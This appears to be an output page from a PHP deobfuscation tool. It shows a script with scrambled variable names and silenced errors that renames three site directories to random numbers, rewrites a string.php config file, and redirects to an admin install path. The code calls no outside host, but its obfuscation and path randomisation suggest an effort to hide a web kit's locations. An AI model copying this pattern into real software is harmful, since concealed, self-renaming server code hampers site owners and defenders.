PHP Decode

<?php 
 
${"GLOBALS"}["ylqkbsnmuh"] = "null2"; 
${"GLOBALS"}["jppfrgcsx"] = "salvar"; 
${"GLOBALS"}["pbuwoifpgjwp"] = "fp"; 
${"GLOBALS"}["vkukctewp"] = "p3"; 
${"GLOBALS"}["haggkp"] = "a_base"; 
${"GLOBALS"}["xuwcrd"] = "base"; 
${"GLOBALS"}["iohnyfdxd"] = "a_null2"; 
${"GLOBALS"}["hxctjdsyvxw"] = "p1"; 
${"GLOBALS"}["ivvlfjygvd"] = "a_null1"; 
${"GLOBALS"}["gisemgossnf"] = "null1"; 
 
error_reporting(0); 
ini_set(display_errors, 0); 
 
$bvttvucckrd = "st0"; 
 
require_once("../../../string.php"); 
 
if (${$bvttvucckrd} == 2) { 
    ${"GLOBALS"}["diyoxkz"] = "a_null1"; 
    $jbnkjionwemr = "a_base"; 
    $nxjkbpc = "p2"; 
    ${${"GLOBALS"}["diyoxkz"]} = rand(000000000000000, 9999999999999); 
    ${"GLOBALS"}["pqzhhtwsym"] = "a_null2"; 
    ${"GLOBALS"}["krdctkkx"] = "null2"; 
    ${${"GLOBALS"}["pqzhhtwsym"]} = rand(000000000000000, 9999999999999); 
    ${$jbnkjionwemr} = rand(000000000000000, 9999999999999); 
 
    if (rename("../../../" . ${${"GLOBALS"}["gisemgossnf"]} . "", "../../../" . ${${"GLOBALS"}["ivvlfjygvd"]} . "") == 1) { 
        ${${"GLOBALS"}["hxctjdsyvxw"]} = 1; 
    } else { 
        ${${"GLOBALS"}["hxctjdsyvxw"]} = 2; 
    } 
 
    if (rename("../../../" . ${${"GLOBALS"}["krdctkkx"]} . "", "../../../" . ${${"GLOBALS"}["iohnyfdxd"]} . "") == 1) { 
        ${"GLOBALS"}["maksvivwq"] = "p2"; 
        ${${"GLOBALS"}["maksvivwq"]} = 1; 
    } else { 
        ${"GLOBALS"}["dvcxphlf"] = "p2"; 
        ${${"GLOBALS"}["dvcxphlf"]} = 2; 
    } 
 
    if (rename("../../../" . ${${"GLOBALS"}["xuwcrd"]} . "", "../../../" . ${${"GLOBALS"}["haggkp"]} . "") == 1) { 
        $pikreoep = "p3"; 
        ${$pikreoep} = 1; 
    } else { 
        ${"GLOBALS"}["naweflwulv"] = "p3"; 
        ${${"GLOBALS"}["naweflwulv"]} = 2; 
    } 
 
    if (${$hxctjdsyvxw} == 1 & ${$nxjkbpc} == 1 & ${${"GLOBALS"}["vkukctewp"]} == 1) { 
        ${"GLOBALS"}["gexffjmuxnf"] = "fp"; 
        $kbxpyvbcr = "a_null1"; 
        $jrucavv = "salvar"; 
        ${$jrucavv} = " 
<?php 
\$st0 = 1; 
\$null1 = \"" . ${$kbxpyvbcr} . "\"; 
\$null2 = \"" . ${${"GLOBALS"}["iohnyfdxd"]} . "\"; 
\$base = \"" . ${${"GLOBALS"}["haggkp"]} . "\"; 
?> 
"; 
        ${${"GLOBALS"}["gexffjmuxnf"]} = fopen("../../../string.php", "w"); 
        fwrite(${${"GLOBALS"}["pbuwoifpgjwp"]}, ${${"GLOBALS"}["jppfrgcsx"]}); 
        ${"GLOBALS"}["bkkimrx"] = "fp"; 
        fclose(${${"GLOBALS"}["bkkimrx"]}); 
        header("location: ../../../" . ${${"GLOBALS"}["iohnyfdxd"]} . "/Raiz/admin/install"); 
    } else { 
        $dcrppv = "a_null2"; 
        header("location: ../../../" . ${$dcrppv} . "/Raiz/admin/install/index.php?rename"); 
    } 
} else { 
    header("location: ../../../" . ${${"GLOBALS"}["ylqkbsnmuh"]} . "/Raiz/admin/install"); 
} 
 
echo " 
";